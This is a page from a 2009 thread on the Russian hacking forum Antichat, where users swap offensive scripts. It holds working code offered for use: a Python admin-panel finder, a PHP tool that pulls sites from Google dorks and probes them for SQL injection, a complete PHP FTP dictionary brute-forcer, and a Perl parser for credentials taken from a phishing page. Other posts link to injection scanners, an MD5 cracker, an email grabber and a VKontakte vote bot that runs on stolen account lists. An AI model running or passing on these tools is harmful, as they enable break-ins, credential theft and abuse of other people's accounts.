ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #771  
Старый 10.05.2009, 21:20
Аватар для Sosok
Sosok
Новичок
Регистрация: 16.02.2009
Сообщений: 10
Провел на форуме:
390969

Репутация: 8
Post

Полный Lfi scanner на perl'e,код большой залил на обменник.

http://slil.ru/27524161
 
Ответить с цитированием

Моя колекция скриптов
  #772  
Старый 12.05.2009, 17:11
Аватар для hors_de_prix
hors_de_prix
Banned
Регистрация: 10.05.2009
Сообщений: 36
Провел на форуме:
52988

Репутация: 9
По умолчанию Моя колекция скриптов

silviasql сканер

ссылка:
http://rapidshare.com/files/232010053/silviasql.rar



FTP_scanner_by_softxor
ссылка:
http://rapidshare.com/files/232014333/FTP_scanner_by_softxor.rar



PHP_Injection_Scanner
ссылка:
http://rapidshare.com/files/232015154/PHP_Injection_Scanner.rar



Грабер, чекер валидности и анонимности проксей
ссылка:
http://rapidshare.com/files/232015698/__1043___1088___1072___1073___1077___1088_____1095 ___1077___1082___1077___1088____1074___1072___1083



DNS_Scanner

ссылка:
http://rapidshare.com/files/232016134/DNS_Scanner.rar



Googler_v1.69

ссылка:
http://rapidshare.com/files/232017000/Googler_v1.69.rar




Email_grabber

ссылка:
http://rapidshare.com/files/232018037/Email_grabber.rar





MD5cracker_Bot

ссылка:
http://rapidshare.com/files/232017517/MD5cracker_Bot.rar
 
Ответить с цитированием

  #773  
Старый 15.05.2009, 18:33
Аватар для Psi.X
Psi.X
Познающий
Регистрация: 12.04.2009
Сообщений: 45
Провел на форуме:
122612

Репутация: 13
По умолчанию

У кого-нибудь есть поиск админки на пхп/перле?
 
Ответить с цитированием

  #774  
Старый 15.05.2009, 18:38
Аватар для bug1z
bug1z
Познающий
Регистрация: 07.05.2009
Сообщений: 64
Провел на форуме:
418218

Репутация: 59
По умолчанию

у меня есть, только на питоне:
Код:
#/usr/bin/python
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|-------------------------------------------------------------|"
print "|               Admin login finder     v2.0                     |"
print "| Help: admin-find.py -h                                        |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-----------------------------------------------------------------------------|"
print "|                Admin login finder     v2.0                                    |"
print "| Usage: admin-find.py www.site.com                                             |"
print "| Example: admin-find.py site.com                                               |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0] 
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','w  ebadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',  
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.htm  l','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','m  odelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpane  l.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php',  'admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php  ','memberadmin.php','administratorlogin.php']
print "\n|-------------------------------------------------------------|"
print "|                Admin login finder     v2.0                    |"
print "|---------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
		print "[+] Target:",site
print "[+] Checking paths..."
print
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit):
raise
except:
pass
 
Ответить с цитированием

Скрипт для скуллеров :)
  #775  
Старый 15.05.2009, 19:50
Аватар для Sosok
Sosok
Новичок
Регистрация: 16.02.2009
Сообщений: 10
Провел на форуме:
390969

Репутация: 8
Post Скрипт для скуллеров :)

Берёте в гугле вводите запрос например:inurl:index.php?id=,
копируете урлу и вставляете в скрипт и он начинает подставлять к каждому урлу +order+by+1000(можете поменять),и потом выводит ошибки...
PHP код:
<?php if(!function_exists("curl_init")) exit("CURL REQUIRED"); ?>    <form id="form1" name="form1" method="post" action="<?=$PHP_SELF?>">  <table width="500" border="0" cellspacing="2" cellpadding="2">  <tr>  <td><label>query:  <input name="query" type="text" id="query" size="100" valuse="<?=$_POST[query]?>"/>  <br />  <br />  <font size="2">ex:<strong> http://www.google.com/search?hl=en&q=inurl%3A%22article.php%3Fid%3D%22&btnG=Google+Search</strong></font></label></td>  </tr> <tr>  <td><label>  <input type="submit" name="button" id="button" value="Submit" />  </label></td>  </tr>  </table>  </form>      <?php  if (!empty($_POST[query]) ){  @set_time_limit(0);  @error_reporting(0);  @ignore_user_abort(true);  ini_set('memory_limit''128M');    $fetch fetch(trim($_POST[query])."&num=100" );  if ( strpos($fetch"We're sorry...") !== false ) { print "GOOGLE ERROR"; exit ;}      //if(!preg_match_all("/cite\>([^\>]*>article\.php\?id[^\=]*=\d*)/i", $fetch, $mtc)) { print "GOOGLE2 ERROR"; exit ;}      if( !preg_match_all ("/a[\s]+href[\s]?=[\s\"\']+".   "http(.*?)[\"\']+.*?"."/",   $fetch, $matches)) { print "GOOGLE2 ERROR"; exit ;}        foreach (array_unique($matches[0]) as $u) {   if ( strpos($u, "cache") !== false ) { continue ;}  if ( strpos($u, "google") !== false ) { continue ;}  if ( strpos($u, "download.com") !== false ) { continue ;}  if ( strpos($u, "youtube.com") !== false ) { continue ;}  if ( strpos($u, "javascript:void") !== false ) { continue ;}  $u = str_replace("a href=","",$u);  $u = str_replace("\"","",$u);  $url = str_replace("http://","",$u);      $offset =0;  $time = 0;  while(preg_match("/\=\d{1,}/", $url, $m, PREG_OFFSET_CAPTURE,$offset) ) {  if($time>3) break;  $offset = $m[0][1]+strlen( $m[0][0]);  $time++;  $_url = substr_replace ( $url , "+order+by+1000--", $offset , 0);    if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Warning)\b/i",   strip_tags(  html_entity_decode(  fetch($_url)) ) , $ws)) {    print "<strong><font color=red>Походу ***** ему :): $_url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>";      break; } else   { echo $_url."<br>";  flush(); ob_flush(); }  }      if(!$time) {  $url = $url."+order+by+1000--";  if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Warning)\b/i",   strip_tags(  html_entity_decode(  fetch($url)) ) , $ws)) {    print "<strong><font color=red>Походу ***** ему :): $url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>";      } else   { echo $url."<br>";  flush(); ob_flush(); }    }    }    }      function fetch($url) {    if(file_exists('stopfile')) exit;    $header[] = "Accept-Language: en";  $header[] = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";  $header[] = "Connection: Keep-Alive";  $header[] = "Pragma: no-cache";  $header[] = "Cache-Control: no-cache";    $ch = curl_init();  curl_setopt($ch, CURLOPT_URL, $url);  curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE );  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);   //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);  if(!curl_setopt($ch, CURLOPT_TIMEOUT, 5)) {echo 'CURLOPT TIMEOUT Error';}   curl_setopt($ch, CURLOPT_HTTPHEADER, $header);  //curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');  //curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');  $page = curl_exec($ch);  curl_close($ch);    //echo $page."<HR>";    return $page;    }                ?>
Чё то у меня не получается нормально код запостить вот ссылка: http://slil.ru/27659432

Последний раз редактировалось Sosok; 16.05.2009 в 13:27..
 
Ответить с цитированием

  #776  
Старый 15.05.2009, 21:26
Аватар для eLWAux
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

Sosok:
PHP код:
<?php if(!function_exists("curl_init")) exit("CURL REQUIRED"); ?>

<form id="form1" name="form1" method="post" action="<?=$PHP_SELF?>">
<table width="500" border="0" cellspacing="2" cellpadding="2">
<tr>
<td><label>query:
<input name="query" type="text" id="query" size="100" valuse="<?=$_POST[query]?>"/>
<br />
<br />
<font size="2">ex:<strong> http://www.google.com/search?hl=en&q=inurl%3A%22article.php%3Fid%3D%22&btnG=Google+Search</strong></font></label></td>
</tr> <tr>
<td><label>
<input type="submit" name="button" id="button" value="Submit" />
</label></td>
</tr>
</table>
</form>


<?php
if (!empty($_POST[query]) ){
@
set_time_limit(0);
@
error_reporting(0);
@
ignore_user_abort(true);
ini_set('memory_limit''128M');

$fetch fetch(trim($_POST[query])."&num=100" );
if ( 
strpos($fetch"We're sorry...") !== false ) { print "GOOGLE ERROR"; exit ;}


//if(!preg_match_all("/cite\>([^\>]*>article\.php\?id[^\=]*=\d*)/i", $fetch, $mtc)) { print "GOOGLE2 ERROR"; exit ;}


if( !preg_match_all ("/a[\s]+href[\s]?=[\s\"\']+"
"http(.*?)[\"\']+.*?"."/"
$fetch$matches)) { print "GOOGLE2 ERROR"; exit ;}



foreach (
array_unique($matches[0]) as $u) { 
if ( 
strpos($u"cache") !== false ) { continue ;}
if ( 
strpos($u"google") !== false ) { continue ;}
if ( 
strpos($u"download.com") !== false ) { continue ;}
if ( 
strpos($u"youtube.com") !== false ) { continue ;}
if ( 
strpos($u"javascript:void") !== false ) { continue ;}
$u str_replace("a href=","",$u);
$u str_replace("\"","",$u);
$url str_replace("http://","",$u);


$offset =0;
$time 0;
while(
preg_match("/\=\d{1,}/"$url$mPREG_OFFSET_CAPTURE,$offset) ) {
if(
$time>3) break;
$offset $m[0][1]+strlen$m[0][0]);
$time++;
$_url substr_replace $url "+order+by+1000--"$offset 0);

if( 
preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Warning)\b/i"
strip_tags(
html_entity_decode(
fetch($_url)) ) , $ws)) {

print 
"<strong><font color=red>Походу ***** ему :): $_url</font></strong><font color=blue>".implode(","$ws[0])."</font><br>";


break; } else 
{ echo 
$_url."<br>";
flush(); ob_flush(); }
}


if(!
$time) {
$url $url."+order+by+1000--";
if( 
preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Warning)\b/i"
strip_tags(
html_entity_decode(
fetch($url)) ) , $ws)) {

print 
"<strong><font color=red>Походу ***** ему :): $url</font></strong><font color=blue>".implode(","$ws[0])."</font><br>";


} else 
{ echo 
$url."<br>";
flush(); ob_flush(); }

}

}

}


function 
fetch($url) {

if(
file_exists('stopfile')) exit;

$header[] = "Accept-Language: en";
$header[] = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$header[] = "Connection: Keep-Alive";
$header[] = "Pragma: no-cache";
$header[] = "Cache-Control: no-cache";

$ch curl_init();
curl_setopt($chCURLOPT_URL$url);
curl_setopt ($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_SSL_VERIFYPEERFALSE );
curl_setopt($chCURLOPT_SSL_VERIFYHOSTFALSE); 
//curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
if(!curl_setopt($chCURLOPT_TIMEOUT5)) {echo 'CURLOPT TIMEOUT Error';} 
curl_setopt($chCURLOPT_HTTPHEADER$header);
//curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
//curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');
$page curl_exec($ch);
curl_close($ch);

//echo $page."<HR>";

return $page;

}





?>
 
Ответить с цитированием

  #777  
Старый 15.05.2009, 21:34
Аватар для _==wolf==_
_==wolf==_
Участник форума
Регистрация: 29.05.2008
Сообщений: 181
Провел на форуме:
979048

Репутация: 101
Отправить сообщение для _==wolf==_ с помощью ICQ
По умолчанию

в начале в форме не valuse а value мб? ))
 
Ответить с цитированием

FTP-BRUTE
  #778  
Старый 24.05.2009, 00:49
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию FTP-BRUTE

фтп-брут по словарям, работает в различных режимах:

1 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль
2 - брут по словарю паролей, известен только логин
3 - брут по словарю логинов, известен только пароль
4 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль

все настройки задаются в файле ftp.ini:

Код:
mode = 3                          
;0 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль 
;1 - брут по словарю паролей, логин нужно внести ниже (известен только логин) 
;2 - брут по словарю логинов, пароль нужно внести ниже (известен только пароль)
;3 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль 


host =                            ;фтп-хост
port = 21                         ;фтп-порт
login =                           ;логин (если брут паролей по одному логину)
pass =                            ;пароль (если брут логинов по одному паролю)
file_pass = passw.txt             ;файл-словарь паролей для брута (каждый пароль с новой строки)
file_login = login.txt            ;файл-словарь логинов (каждый логин с новой строки)
file_login_pass = log_pass.txt    ;файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
file_login_pass_del = :           ;разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом
file_result = ftp_result.txt      ;файл для сохранения результатов
pause = 0                         ;пауза между попытками в секундах (если нужно)
timeout = 100                     ;таймаут на установление фтп-соединения (обязательный параметр)
kol = 1                           ;через какое кол-во попыток выводить инфо на экран
запускается файлом ftpbr.exe (или RUN!!!.cmd) под WIN и файл ftpbr.php под никсами.

Скачать всё в одном архиве, пароль - 123

Из особенностей - абсолютно не требователен к оперативной памяти, независимо от размера словарей

PHP код:
<?php  
@set_time_limit(0); 
@
ini_set("display_errors","0"); 
ignore_user_abort(1);
echo 
"\n [[[ FTP-BRUTE 1.0 by Pashkela (c)2009 ]]]";
$ini parse_ini_file("ftp.ini") or die("ftp.ini not found");
$mode $ini[mode]; // 0 - брут по двум словарям - логин/пассворд, 1 - брут по словарю паролей, логин нужно внести ниже, 2 - брут по словарю логинов, пароль нужно внести ниже, 3 - брут по словарю логин/пароль (разделитель любой, кроме ";", например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль 
$host $ini[host]; // фтп-хост
$port $ini[port]; // фтп-пароль
$login $ini[login]; // логин (если брут паролей по одному логину)
$pass $ini[pass]; // пароль (если брут логинов по одному паролю)
$file_pass $ini[file_pass]; // файл-словарь паролей
$file_login $ini[file_login]; // файл-словарь логинов
$file_result $ini[file_result]; // файл для сохранения результатов
$file_login_pass $ini[file_login_pass];// файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
$file_login_pass_del $ini[file_login_pass_del];//разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом  
$pause $ini[pause]; // пауза между попытками, если надо
$timeout $ini[timeout]; // таймаут на установление фтп-соединения
$kol $ini[kol]; // через какое кол-во попыток выводить инфо на экран  
$handle1 fopen($file_result"a");
$i 0;
$s 0;
// Брут по двум словарям (не знаем ни логина ни пароля):
if ($mode==0) {
   
$login '';
   
$pass '';
   
// Brute
   
echo "\n\n Count logins & passwords, wait please...";
   
$handle2 fopen($file_login"r");
   
$handle fopen($file_pass"r");
   while (
$buffer fgets($handle2)) $p++;
   
fclose($handle2); 
   echo 
"\n\n\n$p logins...working\n";
   while (
$buffer fgets($handle)) $g++;
   
fclose($handle); 
   echo 
"$g passwords...working\n";
   echo 
"Will brute login|password\n"
   echo 
"at host: <$host> \n";
   echo 
"at port: <$port>\n";
   echo 
"brute info after every <$kol> connections\n";
   echo 
"pause between connections: <$pause> seconds\n";
   echo 
"Working, wait please...\n\n";
   
$handle2 fopen($file_login"r");
   while (!
feof($handle2)) { 
      
$login trim(fgets($handle2));
      echo 
"\n will brute password for login <$login> ...";
      
$handle fopen($file_pass"r");
      while (!
feof($handle)) { 
         
$pass trim(fgets($handle));
         
$open ftp_connect($host,$port,"100"); // сервер, порт, таймаут 
         
if(!ftp_login($open,$login,$pass)) {  
            
$i++;
            if (
$i==$kol) {
               
$s $s+$i;
               
$i=0;
               
$w $g $s
               echo 
"\nPass $s connections, remain $w passwords, brute...";
               
sleep($pause);
            }   
         } else {
               echo 
"\n\n\nSuccess connection!!!! Done.";
               echo 
"\n <<<Login: $login | Password : $pass>>>";
               
ftp_close($open); // закрываем фтп-соединение
               
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass""\r\n");
               
fclose($handle1);
               
fclose($handle);
               echo 
"\n\n\n [[[ All results was saved in <$file_result> ]]]";
               exit;
         }
      }
      
fclose($handle);
      
$i 0;
      
$s 0;
   }   
   echo 
"\n\n\n [[[ Sorry, not found ]]]";
   
fclose($handle1);
   
fclose($handle2);
}


// Брут по словарю  паролей(знаем логин):
if ($mode==1) {
   echo 
"\n\n Count passwords, wait please...";
   
$handle fopen($file_pass"r");
   while (
$buffer fgets($handle)) $p++;
   
fclose($handle); 
   echo 
"\n\n\n$p passwords...working\n\n";
   echo 
"Will brute login: <$login>\n"
   echo 
"at host: <$host> \n";
   echo 
"at port: <$port>\n";
   echo 
"brute info after every <$kol> connections\n";
   echo 
"pause between connections: <$pause> seconds\n";
   echo 
"Working, wait please...\n\n";
   
$pass '';
   
// Brute
   
$handle fopen($file_pass"r");
   while (!
feof($handle)) { 
         
$pass trim(fgets($handle));
         
$open ftp_connect($host,$port,"100"); // сервер, порт, таймаут 
         
if(!ftp_login($open,$login,$pass)) {  
            
$i++;
            if (
$i==$kol) {
               
$s $s+$i;
               
$i=0;
               
$w $p $s
               echo 
"Pass $s connections, remain $w passwords, brute...\n";
               
sleep($pause);
            }   
         } else {
               echo 
"\n\n\nSuccess connection!!!! Done.";
               echo 
"\n <<<Password : $pass>>>";
               
ftp_close($open); // закрываем фтп-соединение
               
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass""\r\n");
               
fclose($handle1);
               
fclose($handle);
               echo 
"\n\n\n [[[ All results was saved in <$file_result> ]]]";
               exit;
         }
    }
    echo 
"\n\n\n [[[ Sorry, not found ]]]";
    
fclose($handle);
    
fclose($handle1);
}

// Брут по словарю  логинов(знаем пароль):
if ($mode==2) {
   echo 
"\n\n Count logins, wait please...";
   
$handle fopen($file_login"r");
   while (
$buffer fgets($handle)) $p++;
   
fclose($handle); 
   echo 
"\n\n\n$p logins...working\n\n";
   echo 
"Will brute pass: <$pass>\n"
   echo 
"at host: <$host> \n";
   echo 
"at port: <$port>\n";
   echo 
"brute info after every <$kol> connections\n";
   echo 
"pause between connections: <$pause> seconds\n";
   echo 
"Working, wait please...\n\n";
   
$login '';
   
// Brute
   
$handle fopen($file_login"r");
   while (!
feof($handle)) { 
         
$login trim(fgets($handle));
         
$open ftp_connect($host,$port,"100"); // сервер, порт, таймаут 
         
if(!ftp_login($open,$login,$pass)) {  
            
$i++;
            if (
$i==$kol) {
               
$s $s+$i;
               
$i=0;
               
$w $p $s
               echo 
"Pass $s connections, remain $w logins, brute...\n";
               
sleep($pause);
            }   
         } else {
               echo 
"\n\n\nSuccess connection!!!! Done.";
               echo 
"\n <<<Login : $login>>>";
               
ftp_close($open); // закрываем фтп-соединение
               
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass""\r\n");
               
fclose($handle1);
               
fclose($handle);
               echo 
"\n\n\n [[[ All results was saved in <$file_result> ]]]";
               exit;
         }
    }
    echo 
"\n\n\n [[[ Sorry, not found ]]]";
    
fclose($handle);
    
fclose($handle1);
}
// Брут по словарю  логин/пароль(не знаем ни логин ни пароль):
if ($mode==3) {
   echo 
"\n\n Count logins" $file_login_pass_del "passwords, wait please...";
   
$login '';
   
$pass '';
   
$handle fopen($file_login_pass"r");
   while (
$buffer fgets($handle)) $p++;
   
fclose($handle); 
   echo 
"\n\n\n$p logins" $file_login_pass_del "passwords...working\n\n";
   echo 
"Will brute login" $file_login_pass_del "password\n"
   echo 
"at host: <$host> \n";
   echo 
"at port: <$port>\n";
   echo 
"brute info after every <$kol> connections\n";
   echo 
"pause between connections: <$pause> seconds\n";
   echo 
"Working, wait please...\n\n";
   
$buffer '';
   
$temp = array();
   
// Brute
   
$handle fopen($file_login_pass"r");
   while (!
feof($handle)) { 
         
$buffer trim(fgets($handle));
         
$temp explode($file_login_pass_del,$buffer);
         
$open ftp_connect($host,$port,"100"); // сервер, порт, таймаут 
         
if(!ftp_login($open,$temp[0],$temp[1])) {  
            
$i++;
            if (
$i==$kol) {
               
$s $s+$i;
               
$i=0;
               
$w $p $s
               echo 
"Pass $s connections, remain $w login" $file_login_pass_del "password, brute...\n";
               
sleep($pause);
            }   
         } else {
               echo 
"\n\n\nSuccess connection!!!! Done.";
               echo 
"\n <<<Login: {$temp[0]} | Password : {$temp[1]}>>>";
               
ftp_close($open); // закрываем фтп-соединение
               
fwrite($handle1,"Хост: $host, порт: $port, логин: {$temp[0]}, пароль: {$temp[1]}""\r\n");
               
fclose($handle1);
               
fclose($handle);
               echo 
"\n\n\n [[[ All results was saved in <$file_result> ]]]";
               exit;
         }
    }
    echo 
"\n\n\n [[[ Sorry, not found ]]]";
    
fclose($handle);
    
fclose($handle1);
}
            
?>

Последний раз редактировалось Pashkela; 24.05.2009 в 01:01..
 
Ответить с цитированием

  #779  
Старый 24.05.2009, 05:56
Аватар для Whirt
Whirt
Участник форума
Регистрация: 24.06.2008
Сообщений: 105
Провел на форуме:
674665

Репутация: 276
По умолчанию

Недавно потребовалось отпарсить данные с фейка.
Написал этот маленький скрипт, возможно кому-нибудь пригодится.
Парсит по формату: мыло@хост<разделитель>паро ь
Убирает дублирующиеся мыльники (юзеры часто думают что ошиблись, и начинают вводить повторно).

Код:
#!/usr/bin/perl
use warnings;
use strict;

my $delim = ':';
open IN, '<', 'in.txt'   or die $!;
chomp (my @lines = <IN>) && close IN;
open OUT, '>', 'out.txt' or die $!;

for (@lines)
{
print OUT $_, "\n" if
(m#([a-z0-9][a-z0-9-_]+@[a-z0-9-_]+\.[a-z]{2,4})$delim\S+#ig) &&
($_{$1}=!exists $_{$1});
}

close OUT && print 'finished';

Последний раз редактировалось Whirt; 24.05.2009 в 16:34..
 
Ответить с цитированием

  #780  
Старый 01.06.2009, 20:59
Аватар для Mixon
Mixon
Участник форума
Регистрация: 12.03.2008
Сообщений: 254
Провел на форуме:
12333903

Репутация: 238
Отправить сообщение для Mixon с помощью ICQ
Smile

Скрипт обновил 16.06.09!
Вот написал такой скриптек - [V]ote[R],который передаёт голоса вконтакте с профиля на профиль по спискам!

Принцып роботы скрипта через это приложение http://vkontakte.ru/app577176
Скрипт работает так:
---> Логинимся ---> Добавляем приложение себе ---> Бросаем голоса на ID ---> Удаляем приложение.

Вот что он умеет:

|__[+] Работает с двумя списками акков:
|____[+] Список cookies
|____[+] Список mail:pass
|__[+] Есть поддержка proxy
|__[+] Написан на php с curl
|__[+] Работает с антикапчей ! Капчу записывает в capcha.jpg на сервере.
http://dump.ru/file/2912904
http://letitbit.net/download/7916aae...erobf.rar.html
http://depositfiles.com/files/b41zpwilc

Последний раз редактировалось Mixon; 16.06.2009 в 13:55..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ